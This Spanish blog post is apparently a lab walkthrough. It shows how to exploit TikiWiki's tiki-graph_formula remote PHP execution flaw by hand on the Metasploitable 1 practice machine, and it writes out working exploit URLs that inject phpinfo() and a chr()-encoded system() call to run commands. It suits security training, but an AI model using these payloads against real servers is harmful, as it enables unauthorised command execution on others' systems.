Explotando la vulnerabilidad tiki-graph_formula del cms TikiWiki con ejecución de PHP remota.

Tabla de contenido

La vulnerabilidad tiki-graph_formula es del año 2008, bastante vieja, se encuentra en la maquina Metasploitable 1.

En este caso, lo que vamos ha hacer es explotar la vulnerabilidad a mano, sin usar ningún modulo de explotación automática, a ver hasta donde llegamos.

Tras desplegar la maquina virtual, nos encontramos con tiki wiki instalado en la ruta:

ipdelamaquina:80/tikiwiki/

La vulnerabilidad que vamos a practicar se encuentra en:

http://example.org/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=

Al acceder veremos la ejecución de la funcion de phpinfo() tal como muestra la imagen.

vulnerabilidad tikiwiki phpinfo
vulnerabilidad tikiwiki phpinfo

El proceso de explotación, es algo mas complicado ya que no podemos escribir los comandos de consola directamente en la barra de navegación y pasarlos a la funcion system, exec o passthru.

Para ello debemos inyectar código PHP exclusivamente, esta es la única forma de la que yo he conseguido explotar esta vulnerabilidad.

Consiste en abusar de la función chr y passthru.

De tal forma que si deseamos ejecutar el comando ps -Af, deberíamos primero pasar el comando usando la tabla de codigo ASCII y la función chr concatenada por cada letra del comando.

Tabla de código ASCII
Tabla de código ASCII

Para ello podemos usar este convertidor de texto a código ASCII

Al convertir ps -Af a código ASCII obtenemos:

112 115 32 45 65 102

Esto quiere decir que para hacer un ps -Af desde php debemos enviar mediante el navegador el siguiente código PHP:

system(chr(112).chr(115).chr(32).chr(45).chr(65).chr(102))

De tal forma que la URL queda:

http://example.org/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.system(chr(112).chr(115).chr(32).chr(45).chr(65).chr(102))&t=png&title=

Dando el siguiente resultado en el navegador:

Exploit Tiki Wiki PS -Af listado de procesos.
Exploit Tiki Wiki PS -Af listado de procesos.

Aprovechamos el resultado para descubrir que nuestro usuario es el www-data.

 

Para esta vulnerabilidad he escrito un exploit generico  para ejecucion de comandos en PHP que esta disponible en:

https://github.com/KamalMajaiti/webRCE

INFORMACION DEL PUBLICADOR
Picture of Kamal Majaiti
Kamal Majaiti
Administrador de sistemas e informático por vocación.
COMPARTELO EN REDES
Publica un comentario

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.